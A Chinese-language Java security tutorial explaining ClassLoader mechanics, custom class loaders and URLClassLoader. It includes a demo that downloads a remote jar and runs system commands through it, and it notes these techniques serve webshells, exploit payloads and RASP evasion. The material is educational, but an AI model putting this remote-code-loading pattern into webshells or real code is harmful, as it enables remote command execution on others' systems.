目錄
Java ClassLoader類加載機制
Java是一個依賴於JAVA 虛擬機(JVM)實現的跨平臺的高級開發語言。Java程序在運行前需要先將.java文件編譯成.clsss文件 。Java類初始化的時候會調用 java.lang.ClassLoader 加載類字節碼,ClassLoader會調用JVM的native 方法來定義一個 java.lang.Class實例。
如下,我們創建一個Project1項目,base package爲 com.company。我們的源文件爲 Project1/src/com/company/Main.java,運行後,會生成 out/production/Project1/com/company/Main.class 字節碼文件。
或者直接用 javac 編譯成 class 文件,然後用 javap 查看 class 文件。
JVM在執行代碼之前會先解析 class 二進制內容,JVM執行的其實就是如上javap
命令生成的字節碼(ByteCode
)。
ClassLoader
一切的Java類都必須經過JVM加載後才能運行,而 ClassLoader 的主要作用就是 Java 類的加載。在 JVM 類加載器中最頂層的是 Bootstrap ClassLoader(引導類加載器,該加載器實現於JVM層,採用C++編寫)、Extension ClassLoader(擴展類加載器)、App ClassLoader(系統類加載器)。AppClassLoader是默認的類加載器,如果類加載時我們不指定類加載器的情況下,默認會使用 AppClassLoader 加載類。 ClassLoader.getSystemClassLoader() 返回的系統類加載器也是 AppClassLoader。
值得注意的是某些時候我們獲取一個類的類加載器的時候可能會返回一個null值。如:java.io.File.class.getClassLoader() 將返回一個 null 對象,因爲 java.io.File 類在JVM初始化的時候會被 Bootstrap ClassLoader加載,我們在嘗試獲取被BootStrap ClassLoader類加載器所加載的類的ClassLoader的時候都會返回null。
ClassLoader類有如下核心方法:
- loadClass:加載指定的Java類
- findClass:查找指定的Java類
- findLoaderClass:查找JVM已經加載過的類
- defindClass:定義一個Java類
- resolveClass:鏈接指定的Java類
Java類動態加載方式
Java類加載方式分爲 顯式 和 隱式,顯式即我們通常使用 Java反射 或者 ClassLoader 來動態加載一個類對象,而隱式指的是類名.方法名() 或 new 類實例。顯式類加載方式也可以理解爲類動態加載,我們可以自定義類加載器去加載任意的類。
常用的類動態加載方式:
// 反射加載TestHelloWorld示例
Class.forName("com.company.classloader.test");
// ClassLoader加載TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.company.test");
class.forName("類名") 默認會初始化被加載類的靜態屬性和方法,如果不希望初始化類可以使用 Class.forName("類名",是否初始化類,類加載器),而ClassLoader.loadClass 默認不會初始化類方法。
ClassLoader類加載流程
要想理解Java類加載機制並非易事,這裏我們以一個Java的HelloWorld來學習ClassLoader
。
ClassLoader
加載com.company.Main
類重要流程如下:
ClassLoader
會調用public Class<?> loadClass(String name)
方法加載com.company.Main
類。- 調用
findLoadedClass
方法檢查類Main是否已經初始化,如果JVM已初始化過該類則直接返回類對象。 - 如果創建當前
ClassLoader
時傳入了父類加載器(new ClassLoader(父類加載器)
)就使用父類加載器加載Main
類,否則使用JVM的Bootstrap ClassLoader
加載。 - 如果上一步無法加載
Main
類,那麼調用自身的findClass
方法嘗試加載TestHelloWorld
類。 - 如果當前的
ClassLoader
沒有重寫了findClass
方法,那麼直接返回類加載失敗異常。如果當前類重寫了findClass
方法並通過傳入的com.company.Main
類名找到了對應的類字節碼,那麼應該調用defineClass
方法去JVM中註冊該類。 - 如果調用loadClass的時候傳入的
resolve
參數爲true,那麼還需要調用resolveClass
方法鏈接類,默認爲false。 - 返回一個被JVM加載後的
java.lang.Class
類對象。
自定義ClassLoader
java.lang.ClassLoader
是所有的類加載器的父類,java.lang.ClassLoader
有非常多的子類加載器,比如我們用於加載jar包的java.net.URLClassLoader
其本身通過繼承java.lang.ClassLoader
類,重寫了findClass
方法從而實現了加載目錄class文件甚至是遠程資源文件。
既然已知ClassLoader具備了加載類的能力,那麼我們不妨嘗試下寫一個自己的類加載器來實現加載自定義的字節碼(這裏以加載test類爲例)並調用hello
方法。
test類如下:
如果com.company.test
類存在的情況下,我們可以使用如下代碼即可實現調用hello
方法並輸出:
但是如果com.company.test
根本就不存在於我們的classpath
,那麼我們可以使用自定義類加載器重寫findClass
方法,然後在調用defineClass
方法的時候傳入test
類的字節碼的方式來向JVM中定義一個test
類,最後通過反射機制就可以調用test
類的hello
方法了。
TestClassLoader示例代碼:
package com.anbai.sec.classloader;
import java.lang.reflect.Method;
/**
* Creator: yz
* Date: 2019/12/17
*/
public class TestClassLoader extends ClassLoader {
// TestHelloWorld類名
private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";
// TestHelloWorld類字節碼
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
0, 0, 0, 2, 0, 12
};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只處理TestHelloWorld類
if (name.equals(testClassName)) {
// 調用JVM的native方法定義TestHelloWorld類
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 創建自定義的類加載器
TestClassLoader loader = new TestClassLoader();
try {
// 使用自定義的類加載器加載TestHelloWorld類
Class testClass = loader.loadClass(testClassName);
// 反射創建TestHelloWorld類,等價於 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射獲取hello方法
Method method = testInstance.getClass().getMethod("hello");
// 反射調用hello方法,等價於 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用自定義類加載器我們可以在webshell中實現加載並調用自己編譯的類對象,比如本地命令執行漏洞調用自定義類字節碼的native方法繞過RASP檢測,也可以用於加密重要的Java類字節碼(只能算弱加密了)。
URLClassLoader
URLClassLoader
繼承了ClassLoader
,URLClassLoader
提供了加載遠程資源的能力,在寫漏洞利用的payload
或者webshell
的時候我們可以使用這個特性來加載遠程jar文件來實現遠程的類方法調用。
TestURLClassLoader.java示例:
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定義遠程加載的jar路徑
URL url = new URL("https://javaweb.org/tools/cmd.jar");
// 創建URLClassLoader對象,並加載遠程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定義需要執行的系統命令
String cmd = "ls";
// 通過URLClassLoader加載遠程jar包中的CMD類
Class cmdClass = ucl.loadClass("CMD");
// 調用CMD類中的exec方法,等價於: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 獲取命令執行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 讀取命令執行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 輸出命令執行結果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
遠程的cmd.jar
中就一個CMD.class
文件,對應的編譯之前的代碼片段如下:
import java.io.IOException;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
程序執行結果如下:
README.md
gitbook
javaweb-sec-source
javaweb-sec.iml
jni
pom.xml
ClassLoader總結
ClassLoader
是JVM中一個非常重要的組成部分,ClassLoader
可以爲我們加載任意的java類,通過自定義ClassLoader
更能夠實現自定義類加載行爲,在後面的幾個章節我們也將講解ClassLoader
的實際利用場景